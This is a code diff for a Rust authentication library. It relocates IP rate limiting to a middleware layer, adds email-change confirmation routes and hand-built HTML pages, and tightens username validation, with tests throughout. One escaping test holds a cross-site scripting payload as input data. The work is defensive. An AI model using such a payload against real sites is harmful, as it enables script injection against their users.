| 81 | + title: "Confirmer votre nouvelle adresse e-mail".to_string(), | |
| 82 | + message: "Toutes vos sessions seront fermées.".to_string(), | |
| 83 | + button: Some("Confirmer le changement".to_string()), | |
| 84 | + } | |
| 85 | + } | |
| 86 | + | |
| 87 | + #[test] | |
| 88 | + fn interstitial_carries_a_post_form_and_a_button() { | |
| 89 | + let html = render(&interstitial()); | |
| 90 | + assert!(html.starts_with("<!DOCTYPE html>")); | |
| 91 | + assert!(html.contains("<form")); | |
| 92 | + assert!(html.contains("method=\"post\"")); | |
| 93 | + assert!(html.contains("<button")); | |
| 94 | + // Relative action: correct under any mount prefix. | |
| 95 | + assert!(html.contains("action=\"\"")); | |
| 96 | + } | |
| 97 | + | |
| 98 | + #[test] | |
| 99 | + fn page_carries_no_script_and_no_external_resource() { | |
| 100 | + let html = render(&interstitial()); | |
| 101 | + assert!(!html.contains("<script"), "no JavaScript on this path"); | |
| 102 | + assert!(!html.contains("http://"), "no absolute external URL"); | |
| 103 | + assert!(!html.contains("https://"), "no absolute external URL"); | |
| 104 | + assert!(!html.contains("<link"), "no external stylesheet"); | |
| 105 | + } | |
| 106 | + | |
| 107 | + #[test] | |
| 108 | + fn result_page_has_no_form_at_all() { | |
| 109 | + let page = EmailChangePage { | |
| 110 | + button: None, | |
| 111 | + ..interstitial() | |
| 112 | + }; | |
| 113 | + let html = render(&page); | |
| 114 | + assert!(!html.contains("<form"), "nothing left to submit"); | |
| 115 | + assert!(!html.contains("<button")); | |
| 116 | + } | |
| 117 | + | |
| 118 | + #[test] | |
| 119 | + fn caller_strings_are_escaped() { | |
| 120 | + let page = EmailChangePage { | |
| 121 | + lang: "fr".to_string(), | |
| 122 | + title: "<script>alert('x')</script>".to_string(), | |
| 123 | + message: "a & b".to_string(), | |
| 124 | + button: Some("\"quoted\"".to_string()), | |
| 125 | + }; | |
| 126 | + let html = render(&page); | |
| 127 | + assert!(!html.contains("<script>alert")); | |
| 128 | + assert!(html.contains("<script>")); | |
| 129 | + assert!(html.contains("a & b")); | |
| 130 | + assert!(html.contains(""quoted"")); | |
| 131 | + } | |
| 132 | + | |
| 133 | + /// The token must never appear in the visible body: it travels in the URL | |
| 134 | + /// the form posts back to, nowhere else. | |
| 135 | + #[test] | |
| 136 | + fn token_never_reaches_the_body() { | |
| 137 | + let token = "8f14e45f-ea16-4d1b-9c2f-6ba0e6c5a3d7"; | |
| 138 | + let html = render(&interstitial()); | |
| 139 | + assert!(!html.contains(token)); | |
| 140 | + } | |
| 141 | + | |
| 142 | + /// Non-regression on the headless contract: this module builds its HTML | |
| 143 | + /// by hand and must not gain a templating or UI dependency. | |
| 144 | + #[test] | |
| 145 | + fn module_depends_on_neither_askama_nor_the_ui_crate() { | |
| 146 | + let source = include_str!("email_change_pages.rs"); | |
| 147 | + // Skip this very test's own mentions by looking at `use` lines only. | |
| 148 | + for line in source | |
| 149 | + .lines() | |
| 150 | + .filter(|l| l.trim_start().starts_with("use ")) | |
| 151 | + { | |
| 152 | + assert!( | |
| 153 | + !line.contains("askama"), | |
| 154 | + "the interstitial pages must not depend on Askama: {line}" | |
| 155 | + ); | |
| 156 | + assert!( | |
| 157 | + !line.contains("rustwarden_ui"), | |
| 158 | + "the interstitial pages must not depend on rustwarden-ui: {line}" | |
| 159 | + ); | |
| 160 | + } | |
| 161 | + } | |
| 162 | +} |
M
crates/rustwarden-core/src/auth/handlers.rs
+23
-73
@@ -29,11 +29,11 @@ use crate::config::email::EmailConfig;
| 29 | 29 | use crate::error::AppError; |
| 30 | 30 | use crate::hooks::RustwardenHooks; |
| 31 | 31 | use crate::services::{ |
| 32 | - auth_logging::AuthLoggingService, auth_service::AuthService, | |
| 33 | - email_validation_service::EmailValidationService, jwt_blacklist_service::JwtBlacklistService, | |
| 34 | - password_reset_service::PasswordResetService, password_service::PasswordService, | |
| 35 | - refresh_token_service::RefreshTokenService, role_service::RoleService, | |
| 36 | - user_preferences_service::UserPreferencesService, user_service::UserService, | |
| 32 | + auth_service::AuthService, email_validation_service::EmailValidationService, | |
| 33 | + jwt_blacklist_service::JwtBlacklistService, password_reset_service::PasswordResetService, | |
| 34 | + password_service::PasswordService, refresh_token_service::RefreshTokenService, | |
| 35 | + role_service::RoleService, user_preferences_service::UserPreferencesService, | |
| 36 | + user_service::UserService, | |
| 37 | 37 | }; |
| 38 | 38 | |
| 39 | 39 | // --- Auth DTOs (inlined, no separate dto module) --- |
@@ -181,8 +181,8 @@ pub struct ResendVerificationResponse {
| 181 | 181 | /// Request body for POST /api/v1/auth/register. |
| 182 | 182 | #[derive(Debug, Deserialize, Validate)] |
| 183 | 183 | pub struct RegisterRequest { |
| 184 | - /// Desired login name (3–64 characters). | |
| 185 | - #[validate(length(min = 3, max = 64))] | |
| 184 | + /// Desired login name (3–39 characters, `[a-z0-9-]`, no reserved words). | |
| 185 | + #[validate(length(min = 3, max = 39))] | |
| 186 | 186 | pub username: String, |
| 187 | 187 | /// Email address for the new account. |
| 188 | 188 | #[validate(email)] |
@@ -238,7 +238,7 @@ impl IntoResponse for EmailVerifiedTemplate {
| 238 | 238 | /// |
| 239 | 239 | /// ```json |
| 240 | 240 | /// { |
| 241 | -/// "username": "john_doe", | |
| 241 | +/// "username": "john-doe", | |
| 242 | 242 | /// "password": "SecurePassword123!" |
| 243 | 243 | /// } |
| 244 | 244 | /// ``` |
@@ -253,7 +253,7 @@ impl IntoResponse for EmailVerifiedTemplate {
| 253 | 253 | /// "expires_in": 900, |
| 254 | 254 | /// "user": { |
| 255 | 255 | /// "id": "550e8400-e29b-41d4-a716-446655440000", |
| 256 | -/// "username": "john_doe", | |
| 256 | +/// "username": "john-doe", | |
| 257 | 257 | /// "email": "john@example.com", |
| 258 | 258 | /// "roles": ["user"] |
| 259 | 259 | /// } |
@@ -280,21 +280,16 @@ impl IntoResponse for EmailVerifiedTemplate {
| 280 | 280 | /// ```bash |
| 281 | 281 | /// curl -X POST http://localhost:3000/api/v1/auth/login \ |
| 282 | 282 | /// -H "Content-Type: application/json" \ |
| 283 | -/// -d '{"username": "john_doe", "password": "password123"}' | |
| 283 | +/// -d '{"username": "john-doe", "password": "password123"}' | |
| 284 | 284 | /// ``` |
| 285 | 285 | pub async fn login( |
| 286 | 286 | State(db): State<DatabaseConnection>, |
| 287 | - headers: HeaderMap, | |
| 287 | + _headers: HeaderMap, | |
| 288 | 288 | _user_session: Session, |
| 289 | 289 | Extension(auth_config): Extension<Arc<AuthConfig>>, |
| 290 | 290 | hooks: Option<Extension<Arc<dyn RustwardenHooks>>>, |
| 291 | 291 | Json(payload): Json<LoginRequest>, |
| 292 | 292 | ) -> Result<Response, AppError> { |
| 293 | - // SEC-C2: Per-IP rate limiting | |
| 294 | - if let Err(resp) = crate::middleware::rate_limit::check_auth_rate_limit(&headers) { | |
| 295 | - return Ok(resp); | |
| 296 | - } | |
| 297 | - | |
| 298 | 293 | tracing::info!("Login request received for user: {}", payload.username); |
| 299 | 294 | |
| 300 | 295 | // Validate input |
@@ -312,38 +307,10 @@ pub async fn login(
| 312 | 307 | payload.username |
| 313 | 308 | ); |
| 314 | 309 | |
| 315 | - // Authenticate user (verifies credentials and checks must_change_password) | |
| 310 | + // Authenticate user: verifies credentials, logs must_change_password and | |
| 311 | + // enforces the email-verified policy (RFC 0040 — check lives in the service). | |
| 316 | 312 | let user = AuthService::authenticate_user(&db, &payload.username, &payload.password).await?; |
| 317 | 313 | |
| 318 | - let email_validation_required = | |
| 319 | - crate::services::app_settings_service::AppSettingsService::get_bool_with_fallback( | |
| 320 | - &db, | |
| 321 | - &["validation_email_required", "validation_email_requise"], | |
| 322 | - true, | |
| 323 | - ) | |
| 324 | - .await | |
| 325 | - .unwrap_or(true); | |
| 326 | - | |
| 327 | - if email_validation_required && !user.email_verified { | |
| 328 | - let reason = "email_not_verified"; | |
| 329 | - tracing::warn!( | |
| 330 | - "Login attempt blocked (unverified email): {} ({})", | |
| 331 | - user.username, | |
| 332 | - user.email | |
| 333 | - ); | |
| 334 | - // Journaliser sans stocker de secrets | |
| 335 | - AuthLoggingService::log_blocked_login( | |
| 336 | - &db, | |
| 337 | - &user.email, | |
| 338 | - reason, | |
| 339 | - hooks.as_ref().map(|Extension(h)| h), | |
| 340 | - ) | |
| 341 | - .await?; | |
| 342 | - return Err(AppError::Validation( | |
| 343 | - "Votre email n'est pas vérifié. Cliquez sur « Renvoyer l'email de validation » pour recevoir un nouveau lien.".to_string(), | |
| 344 | - )); | |
| 345 | - } | |
| 346 | - | |
| 347 | 314 | // Check if 2FA is forced globally |
| 348 | 315 | let totp_force_enabled = |
| 349 | 316 | crate::services::app_settings_service::AppSettingsService::get_bool_with_fallback( |
@@ -677,7 +644,7 @@ pub async fn verify_2fa(
| 677 | 644 | /// ```json |
| 678 | 645 | /// { |
| 679 | 646 | /// "id": "550e8400-e29b-41d4-a716-446655440000", |
| 680 | -/// "username": "john_doe", | |
| 647 | +/// "username": "john-doe", | |
| 681 | 648 | /// "email": "john@example.com", |
| 682 | 649 | /// "roles": ["user"], |
| 683 | 650 | /// "created_at": "2024-01-01T00:00:00Z", |
@@ -966,17 +933,10 @@ pub async fn logout(
| 966 | 933 | /// ``` |
| 967 | 934 | pub async fn refresh_token( |
| 968 | 935 | State(db): State<DatabaseConnection>, |
| 969 | - headers: HeaderMap, | |
| 936 | + _headers: HeaderMap, | |
| 970 | 937 | Extension(auth_config): Extension<Arc<AuthConfig>>, |
| 971 | 938 | Json(payload): Json<RefreshRequest>, |
| 972 | 939 | ) -> Result<Response, AppError> { |
| 973 | - // SEC-C2: Per-IP rate limiting | |
| 974 | - if let Err(_resp) = crate::middleware::rate_limit::check_auth_rate_limit(&headers) { | |
| 975 | - return Err(AppError::Validation( | |
| 976 | - "Too many requests. Please try again later.".to_string(), | |
| 977 | - )); | |
| 978 | - } | |
| 979 | - | |
| 980 | 940 | // Validate input |
| 981 | 941 | payload.validate().map_err(|e| { |
| 982 | 942 | tracing::warn!("Refresh request validation failed: {}", e); |
@@ -1136,16 +1096,9 @@ mod tests {
| 1136 | 1096 | /// ``` |
| 1137 | 1097 | pub async fn forgot_password( |
| 1138 | 1098 | State(db): State<DatabaseConnection>, |
| 1139 | - headers: HeaderMap, | |
| 1099 | + _headers: HeaderMap, | |
| 1140 | 1100 | Json(payload): Json<ForgotPasswordRequest>, |
| 1141 | 1101 | ) -> Result<impl IntoResponse, AppError> { |
| 1142 | - // SEC-C2: Per-IP rate limiting | |
| 1143 | - if let Err(_resp) = crate::middleware::rate_limit::check_auth_rate_limit(&headers) { | |
| 1144 | - return Err(AppError::Validation( | |
| 1145 | - "Too many requests. Please try again later.".to_string(), | |
| 1146 | - )); | |
| 1147 | - } | |
| 1148 | - | |
| 1149 | 1102 | // Validate email format |
| 1150 | 1103 | payload |
| 1151 | 1104 | .validate() |
@@ -1390,7 +1343,7 @@ pub async fn resend_verification_by_username(
| 1390 | 1343 | /// |
| 1391 | 1344 | /// ```json |
| 1392 | 1345 | /// { |
| 1393 | -/// "username": "john_doe", | |
| 1346 | +/// "username": "john-doe", | |
| 1394 | 1347 | /// "email": "john@example.com", |
| 1395 | 1348 | /// "password": "SecurePassword123!" |
| 1396 | 1349 | /// } |
@@ -1402,7 +1355,7 @@ pub async fn resend_verification_by_username(
| 1402 | 1355 | /// { |
| 1403 | 1356 | /// "message": "Account created successfully. Please check your email to verify your account.", |
| 1404 | 1357 | /// "user_id": "550e8400-e29b-41d4-a716-446655440000", |
| 1405 | -/// "username": "john_doe", | |
| 1358 | +/// "username": "john-doe", | |
| 1406 | 1359 | /// "email": "john@example.com" |
| 1407 | 1360 | /// } |
| 1408 | 1361 | /// ``` |
@@ -1423,17 +1376,10 @@ pub async fn resend_verification_by_username(
| 1423 | 1376 | /// - Email verification is required |
| 1424 | 1377 | pub async fn register( |
| 1425 | 1378 | State(db): State<DatabaseConnection>, |
| 1426 | - headers: HeaderMap, | |
| 1379 | + _headers: HeaderMap, | |
| 1427 | 1380 | hooks: Option<Extension<Arc<dyn RustwardenHooks>>>, |
| 1428 | 1381 | Json(payload): Json<RegisterRequest>, |
| 1429 | 1382 | ) -> Result<Json<RegisterResponse>, AppError> { |
| 1430 | - // SEC-C2: Per-IP rate limiting | |
| 1431 | - if crate::middleware::rate_limit::check_auth_rate_limit(&headers).is_err() { | |
| 1432 | - return Err(AppError::Validation( | |
| 1433 | - "Too many requests. Please try again later.".to_string(), | |
| 1434 | - )); | |
| 1435 | - } | |
| 1436 | - | |
| 1437 | 1383 | tracing::info!( |
| 1438 | 1384 | "Registration request received for username: {}", |
| 1439 | 1385 | payload.username |
@@ -1445,6 +1391,10 @@ pub async fn register(
| 1445 | 1391 | AppError::Validation(format!("Invalid registration request: {}", e)) |
| 1446 | 1392 | })?; |
| 1447 | 1393 | |
| 1394 | + // Enforce username charset + reserved-name rules (defense in depth — | |
| 1395 | + // create_user is the service gate, register adds the public-boundary check). | |
| 1396 | + crate::types::Username::parse(&payload.username)?; | |
| 1397 | + | |
| 1448 | 1398 | // SEC-H1: Validate password complexity from DB rules |
| 1449 | 1399 | crate::middleware::password_complexity::validate_password_complexity(&db, &payload.password) |
| 1450 | 1400 | .await?; |
M
crates/rustwarden-core/src/auth/jwt.rs
+2
-2
@@ -62,7 +62,7 @@ pub enum IdentityKind {
| 62 | 62 | /// sub: Uuid::new_v4(), |
| 63 | 63 | /// jti: Uuid::new_v4().to_string(), |
| 64 | 64 | /// aud: "rustwarden".to_string(), |
| 65 | -/// username: "john_doe".to_string(), | |
| 65 | +/// username: "john-doe".to_string(), | |
| 66 | 66 | /// roles: vec!["user".to_string()], |
| 67 | 67 | /// permissions: vec!["users.list".to_string()], |
| 68 | 68 | /// exp: Utc::now().timestamp() + 900, |
@@ -187,7 +187,7 @@ impl JwtService {
| 187 | 187 | /// let token = JwtService::generate_token( |
| 188 | 188 | /// &config, |
| 189 | 189 | /// user_id, |
| 190 | - /// "john_doe", | |
| 190 | + /// "john-doe", | |
| 191 | 191 | /// roles, |
| 192 | 192 | /// permissions, |
| 193 | 193 | /// ).unwrap(); |
M
crates/rustwarden-core/src/auth/mod.rs
+4
-0
@@ -6,6 +6,10 @@
| 6 | 6 | /// - Refresh token system |
| 7 | 7 | /// - Authentication middleware |
| 8 | 8 | /// Request handlers for login, logout, refresh, and current-user endpoints. |
| 9 | +/// HTTP handlers for the two-step email change (RFC 0041). | |
| 10 | +pub mod email_change_handlers; | |
| 11 | +/// Self-contained HTML pages for the email-change links (RFC 0041). | |
| 12 | +mod email_change_pages; | |
| 9 | 13 | pub mod extractors; |
| 10 | 14 | /// Authentication HTTP handlers. |
| 11 | 15 | pub mod handlers; |
M
crates/rustwarden-core/src/auth/routes.rs
+229
-12
@@ -6,7 +6,7 @@ use axum::{
| 6 | 6 | }; |
| 7 | 7 | use sea_orm::DatabaseConnection; |
| 8 | 8 | |
| 9 | -use crate::auth::handlers; | |
| 9 | +use crate::auth::{email_change_handlers, handlers}; | |
| 10 | 10 | |
| 11 | 11 | /// Build the JSON authentication API router (`/api/v1/auth/*`). |
| 12 | 12 | /// |
@@ -33,16 +33,34 @@ use crate::auth::handlers;
| 33 | 33 | /// .await?; |
| 34 | 34 | /// ``` |
| 35 | 35 | pub fn auth_api_routes() -> Router<DatabaseConnection> { |
| 36 | - Router::new() | |
| 36 | + let limited = Router::new() | |
| 37 | 37 | .route("/api/v1/auth/login", post(handlers::login)) |
| 38 | 38 | .route("/api/v1/auth/register", post(handlers::register)) |
| 39 | 39 | .route("/api/v1/auth/refresh", post(handlers::refresh_token)) |
| 40 | - .route("/api/v1/auth/logout", post(handlers::logout)) | |
| 41 | - .route("/api/v1/auth/me", get(handlers::get_current_user)) | |
| 42 | 40 | .route( |
| 43 | 41 | "/api/v1/auth/forgot-password", |
| 44 | 42 | post(handlers::forgot_password), |
| 45 | 43 | ) |
| 44 | + .route("/api/v1/auth/2fa/verify", post(handlers::verify_2fa)) | |
| 45 | + .route( | |
| 46 | + "/api/v1/auth/resend-verification", | |
| 47 | + post(handlers::resend_verification), | |
| 48 | + ) | |
| 49 | + .route( | |
| 50 | + "/api/v1/auth/resend-verification/by-username", | |
| 51 | + post(handlers::resend_verification_by_username), | |
| 52 | + ) | |
| 53 | + .route( | |
| 54 | + "/api/v1/auth/email-change", | |
| 55 | + post(email_change_handlers::request_email_change), | |
| 56 | + ) | |
| 57 | + .layer(axum::middleware::from_fn( | |
| 58 | + crate::middleware::rate_limit::auth_ip_rate_limit, | |
| 59 | + )); | |
| 60 | + | |
| 61 | + let unlimited = Router::new() | |
| 62 | + .route("/api/v1/auth/logout", post(handlers::logout)) | |
| 63 | + .route("/api/v1/auth/me", get(handlers::get_current_user)) | |
| 46 | 64 | .route( |
| 47 | 65 | "/api/v1/auth/reset-password", |
| 48 | 66 | post(handlers::reset_password), |
@@ -52,21 +70,32 @@ pub fn auth_api_routes() -> Router<DatabaseConnection> {
| 52 | 70 | get(handlers::verify_email), |
| 53 | 71 | ) |
| 54 | 72 | .route( |
| 55 | - "/api/v1/auth/resend-verification", | |
| 56 | - post(handlers::resend_verification), | |
| 73 | + "/api/v1/auth/email-change/confirm/{token}", | |
| 74 | + get(email_change_handlers::confirm_email_change_page) | |
| 75 | + .post(email_change_handlers::confirm_email_change), | |
| 57 | 76 | ) |
| 58 | 77 | .route( |
| 59 | - "/api/v1/auth/resend-verification/by-username", | |
| 60 | - post(handlers::resend_verification_by_username), | |
| 61 | - ) | |
| 62 | - .route("/api/v1/auth/2fa/verify", post(handlers::verify_2fa)) | |
| 78 | + "/api/v1/auth/email-change/report/{token}", | |
| 79 | + get(email_change_handlers::report_email_change_page) | |
| 80 | + .post(email_change_handlers::report_email_change), | |
| 81 | + ); | |
| 82 | + | |
| 83 | + limited.merge(unlimited) | |
| 63 | 84 | } |
| 64 | 85 | |
| 65 | 86 | #[cfg(test)] |
| 66 | 87 | mod tests { |
| 67 | 88 | use super::auth_api_routes; |
| 68 | - use axum::{Json, Router, routing::get}; | |
| 69 | - use sea_orm::DatabaseConnection; | |
| 89 | + use axum::{ | |
| 90 | + Json, Router, | |
| 91 | + body::Body, | |
| 92 | + extract::connect_info::MockConnectInfo, | |
| 93 | + http::{Request, StatusCode}, | |
| 94 | + routing::get, | |
| 95 | + }; | |
| 96 | + use sea_orm::{DatabaseBackend, DatabaseConnection, MockDatabase}; | |
| 97 | + use std::net::SocketAddr; | |
| 98 | + use tower::ServiceExt; | |
| 70 | 99 | |
| 71 | 100 | /// Mirrors the protected handler the CLI scaffolds into headless |
| 72 | 101 | /// projects. Kept in sync so the generated code's interface (the |
@@ -89,4 +118,192 @@ mod tests {
| 89 | 118 | let _router: Router<DatabaseConnection> = |
| 90 | 119 | auth_api_routes().merge(Router::new().route("/api/whoami", get(whoami))); |
| 91 | 120 | } |
| 121 | + | |
| 122 | + /// TEST-NET-3 address so this budget never shares `auth:unknown` with | |
| 123 | + /// other tests that call `check_auth_rate_limit` without ConnectInfo. | |
| 124 | + fn testnet_peer() -> SocketAddr { | |
| 125 | + SocketAddr::from(([203, 0, 113, 1], 12345)) | |
| 126 | + } | |
| 127 | + | |
| 128 | + fn login_request() -> Request<Body> { | |
| 129 | + Request::builder() | |
| 130 | + .method("POST") | |
| 131 | + .uri("/api/v1/auth/login") | |
| 132 | + .header("content-type", "application/json") | |
| 133 | + .body(Body::from(r#"{"username":"u","password":"p"}"#)) | |
| 134 | + .expect("login request") | |
| 135 | + } | |
| 136 | + | |
| 137 | + fn logout_request() -> Request<Body> { | |
| 138 | + Request::builder() | |
| 139 | + .method("POST") | |
| 140 | + .uri("/api/v1/auth/logout") | |
| 141 | + .body(Body::empty()) | |
| 142 | + .expect("logout request") | |
| 143 | + } | |
| 144 | + | |
| 145 | + fn verify_2fa_request() -> Request<Body> { | |
| 146 | + Request::builder() | |
| 147 | + .method("POST") | |
| 148 | + .uri("/api/v1/auth/2fa/verify") | |
| 149 | + .header("content-type", "application/json") | |
| 150 | + .body(Body::from(r#"{"challenge_token":"dummy","code":"123456"}"#)) | |
| 151 | + .expect("2fa verify request") | |
| 152 | + } | |
| 153 | + | |
| 154 | + fn auth_app_with_peer(peer: SocketAddr) -> Router { | |
| 155 | + let db = MockDatabase::new(DatabaseBackend::Postgres).into_connection(); | |
| 156 | + auth_api_routes() | |
| 157 | + .with_state(db) | |
| 158 | + .layer(MockConnectInfo(peer)) | |
| 159 | + } | |
| 160 | + | |
| 161 | + #[tokio::test] | |
| 162 | + async fn auth_limiter_separates_two_connect_ips() { | |
| 163 | + let app_ip1 = auth_app_with_peer(testnet_peer()); | |
| 164 | + let app_ip2 = auth_app_with_peer(SocketAddr::from(([198, 51, 100, 1], 12345))); | |
| 165 | + | |
| 166 | + for i in 1..=10 { | |
| 167 | + let resp = app_ip1 | |
| 168 | + .clone() | |
| 169 | + .oneshot(login_request()) | |
| 170 | + .await | |
| 171 | + .expect("oneshot"); | |
| 172 | + assert_ne!( | |
| 173 | + resp.status(), | |
| 174 | + StatusCode::TOO_MANY_REQUESTS, | |
| 175 | + "request {i}/10 from 203.0.113.1 must not be 429" | |
| 176 | + ); | |
| 177 | + } | |
| 178 | + | |
| 179 | + let eleventh = app_ip1 | |
| 180 | + .clone() | |
| 181 | + .oneshot(login_request()) | |
| 182 | + .await | |
| 183 | + .expect("oneshot"); | |
| 184 | + assert_eq!( | |
| 185 | + eleventh.status(), | |
| 186 | + StatusCode::TOO_MANY_REQUESTS, | |
| 187 | + "11th request from 203.0.113.1 must be 429" | |
| 188 | + ); | |
| 189 | + let retry_after = eleventh.headers().get("retry-after"); | |
| 190 | + assert!( | |
| 191 | + retry_after.is_some_and(|v| !v.as_bytes().is_empty()), | |
| 192 | + "429 must carry a non-empty Retry-After header" | |
| 193 | + ); | |
| 194 | + | |
| 195 | + let logout = app_ip1.oneshot(logout_request()).await.expect("oneshot"); | |
| 196 | + assert_ne!( | |
| 197 | + logout.status(), | |
| 198 | + StatusCode::TOO_MANY_REQUESTS, | |
| 199 | + "unlimited /logout must not be 429 when the limited login budget is exhausted" | |
| 200 | + ); | |
| 201 | + | |
| 202 | + let other = app_ip2.oneshot(login_request()).await.expect("oneshot"); | |
| 203 | + assert_ne!( | |
| 204 | + other.status(), | |
| 205 | + StatusCode::TOO_MANY_REQUESTS, | |
| 206 | + "first request from 198.51.100.1 must not share 203.0.113.1's exhausted budget" | |
| 207 | + ); | |
| 208 | + } | |
| 209 | + | |
| 210 | + /// Distinct TEST-NET-1 IP so this budget never collides with | |
| 211 | + /// `auth_limiter_separates_two_connect_ips` (203.0.113.1 / 198.51.100.1) | |
| 212 | + /// on the process-wide OnceLock limiter. | |
| 213 | + #[tokio::test] | |
| 214 | + async fn auth_limiter_applies_to_2fa_verify() { | |
| 215 | + let app = auth_app_with_peer(SocketAddr::from(([192, 0, 2, 80], 12345))); | |
| 216 | + | |
| 217 | + for i in 1..=10 { | |
| 218 | + let resp = app | |
| 219 | + .clone() | |
| 220 | + .oneshot(verify_2fa_request()) | |
| 221 | + .await | |
| 222 | + .expect("oneshot"); | |
| 223 | + assert_ne!( | |
| 224 | + resp.status(), | |
| 225 | + StatusCode::TOO_MANY_REQUESTS, | |
| 226 | + "request {i}/10 to /2fa/verify from 192.0.2.80 must not be 429" | |
| 227 | + ); | |
| 228 | + } | |
| 229 | + | |
| 230 | + let eleventh = app.oneshot(verify_2fa_request()).await.expect("oneshot"); | |
| 231 | + assert_eq!( | |
| 232 | + eleventh.status(), | |
| 233 | + StatusCode::TOO_MANY_REQUESTS, | |
| 234 | + "11th request to /2fa/verify from 192.0.2.80 must be 429" | |
| 235 | + ); | |
| 236 | + } | |
| 237 | + fn email_change_request() -> Request<Body> { | |
| 238 | + Request::builder() | |
| 239 | + .method("POST") | |
| 240 | + .uri("/api/v1/auth/email-change") | |
| 241 | + .header("content-type", "application/json") | |
| 242 | + .body(Body::from( | |
| 243 | + r#"{"new_email":"new@example.test","current_password":"p"}"#, | |
| 244 | + )) | |
| 245 | + .expect("email-change request") | |
| 246 | + } | |
| 247 | + | |
| 248 | + fn confirm_link_request() -> Request<Body> { | |
| 249 | + Request::builder() | |
| 250 | + .method("GET") | |
| 251 | + .uri("/api/v1/auth/email-change/confirm/11111111-1111-1111-1111-111111111111") | |
| 252 | + .body(Body::empty()) | |
| 253 | + .expect("confirm link request") | |
| 254 | + } | |
| 255 | + | |
| 256 | + /// RFC 0041 — opening a change is the expensive, mail-sending operation, | |
| 257 | + /// so it sits in the IP-limited group next to login. | |
| 258 | + #[tokio::test] | |
| 259 | + async fn auth_limiter_applies_to_the_email_change_request() { | |
| 260 | + let app = auth_app_with_peer(SocketAddr::from(([192, 0, 2, 81], 12345))); | |
| 261 | + | |
| 262 | + for i in 1..=10 { | |
| 263 | + let resp = app | |
| 264 | + .clone() | |
| 265 | + .oneshot(email_change_request()) | |
| 266 | + .await | |
| 267 | + .expect("oneshot"); | |
| 268 | + assert_ne!( | |
| 269 | + resp.status(), | |
| 270 | + StatusCode::TOO_MANY_REQUESTS, | |
| 271 | + "request {i}/10 to /email-change from 192.0.2.81 must not be 429" | |
| 272 | + ); | |
| 273 | + } | |
| 274 | + | |
| 275 | + let eleventh = app.oneshot(email_change_request()).await.expect("oneshot"); | |
| 276 | + assert_eq!( | |
| 277 | + eleventh.status(), | |
| 278 | + StatusCode::TOO_MANY_REQUESTS, | |
| 279 | + "11th request to /email-change from 192.0.2.81 must be 429" | |
| 280 | + ); | |
| 281 | + } | |
| 282 | + | |
| 283 | + /// RFC 0041 — the emailed links stay out of the IP budget on purpose. A | |
| 284 | + /// user clicking from their mailbox must not be turned away because a | |
| 285 | + /// neighbour behind the same NAT exhausted the login budget; the tokens | |
| 286 | + /// are single-use and unguessable, which is what bounds abuse here. | |
| 287 | + #[tokio::test] | |
| 288 | + async fn the_email_change_links_are_not_ip_limited() { | |
| 289 | + let app = auth_app_with_peer(SocketAddr::from(([203, 0, 113, 2], 12345))); | |
| 290 | + | |
| 291 | + // Exhaust the IP budget on a limited route first. | |
| 292 | + for _ in 1..=11 { | |
| 293 | + let _ = app.clone().oneshot(login_request()).await.expect("oneshot"); | |
| 294 | + } | |
| 295 | + | |
| 296 | + for i in 1..=12 { | |
| 297 | + let resp = app | |
| 298 | + .clone() | |
| 299 | + .oneshot(confirm_link_request()) | |
| 300 | + .await | |
| 301 | + .expect("oneshot"); | |
| 302 | + assert_ne!( | |
| 303 | + resp.status(), | |
| 304 | + StatusCode::TOO_MANY_REQUESTS, | |
| 305 | + "click {i} on the confirmation link must never be 429" | |
| 306 | + ); | |
| 307 | + } | |
| 308 | + } | |
| 92 | 309 | } |
M
crates/rustwarden-core/src/bin/change_password.rs
+2
-2
@@ -4,7 +4,7 @@
| 4 | 4 | //! cargo run --bin change_password -- `<username>` `<nouveau_password>` |
| 5 | 5 | //! |
| 6 | 6 | //! Exemples: |
| 7 | -//! cargo run --bin change_password -- john_doe "NewPassword123!" | |
| 7 | +//! cargo run --bin change_password -- john-doe "NewPassword123!" | |
| 8 | 8 | //! cargo run --bin change_password -- admin "SecureAdminPass2024" |
| 9 | 9 | //! |
| 10 | 10 | //! Options: |
@@ -45,7 +45,7 @@ async fn main() {
| 45 | 45 | ); |
| 46 | 46 | eprintln!(); |
| 47 | 47 | eprintln!("Exemples:"); |
| 48 | - eprintln!(" {} john_doe \"NewPassword123!\"", args[0]); | |
| 48 | + eprintln!(" {} john-doe \"NewPassword123!\"", args[0]); | |
| 49 | 49 | eprintln!(" {} admin \"SecurePass2024\" --force-change", args[0]); |
| 50 | 50 | std::process::exit(1); |
| 51 | 51 | } |
M
crates/rustwarden-core/src/bin/screen-select/catalogue.rs
+366
-162
@@ -88,161 +88,345 @@ pub fn by_key(key: &str) -> Option<&'static Functionality> {
| 88 | 88 | } |
| 89 | 89 | |
| 90 | 90 | const CATALOGUE: &[Functionality] = &[ |
| 91 | - Functionality { key: "authentication", label: "Authentication", always: true, screens: &[ | |
| 92 | - Screen { name: "Login", suggested_route: "/login", channel: Channel::Browser, auth_level: AuthLevel::Public, | |
| 93 | - core_methods: "AuthService, JwtService, POST /api/v1/auth/login", io: "form login → cookie JWT / challenge 2FA", | |
| 94 | - security_notes: &[ | |
| 95 | - "redirect post-login : n'autoriser qu'un chemin relatif same-origin (rejeter les URL absolues et `//host`) — bloque l'open redirect `?redirect=`", | |
| 96 | - "flux public : ne pas divulguer si l'identifiant/email existe (message d'échec générique)", | |
| 97 | - ] }, | |
| 98 | - ]}, | |
| 99 | - Functionality { key: "registration", label: "Registration", always: false, screens: &[ | |
| 100 | - Screen { name: "Register", suggested_route: "/register", channel: Channel::Browser, auth_level: AuthLevel::Public, | |
| 101 | - core_methods: "UserService, AppSettingsService(allow_registration), POST /api/v1/auth/register", io: "form inscription", | |
| 102 | - security_notes: &[ | |
| 103 | - "respecter `allow_registration` (403 si désactivé) ; valider/normaliser l'email côté serveur", | |
| 104 | - "flux public : ne pas révéler qu'un email est déjà enregistré", | |
| 105 | - ] }, | |
| 106 | - ]}, | |
| 107 | - Functionality { key: "password_reset", label: "PasswordReset", always: false, screens: &[ | |
| 108 | - Screen { name: "ForgotPassword", suggested_route: "/forgot-password", channel: Channel::Browser, auth_level: AuthLevel::Public, | |
| 109 | - core_methods: "PasswordResetService, POST /api/v1/auth/forgot-password", io: "email → lien reset", | |
| 110 | - security_notes: &[ | |
| 111 | - "réponse identique que l'email existe ou non (anti-énumération)", | |
| 112 | - ] }, | |
| 113 | - Screen { name: "ResetPassword", suggested_route: "/reset-password", channel: Channel::Browser, auth_level: AuthLevel::Public, | |
| 114 | - core_methods: "PasswordResetService, POST /api/v1/auth/reset-password", io: "token + nouveau mdp", | |
| 115 | - security_notes: &[ | |
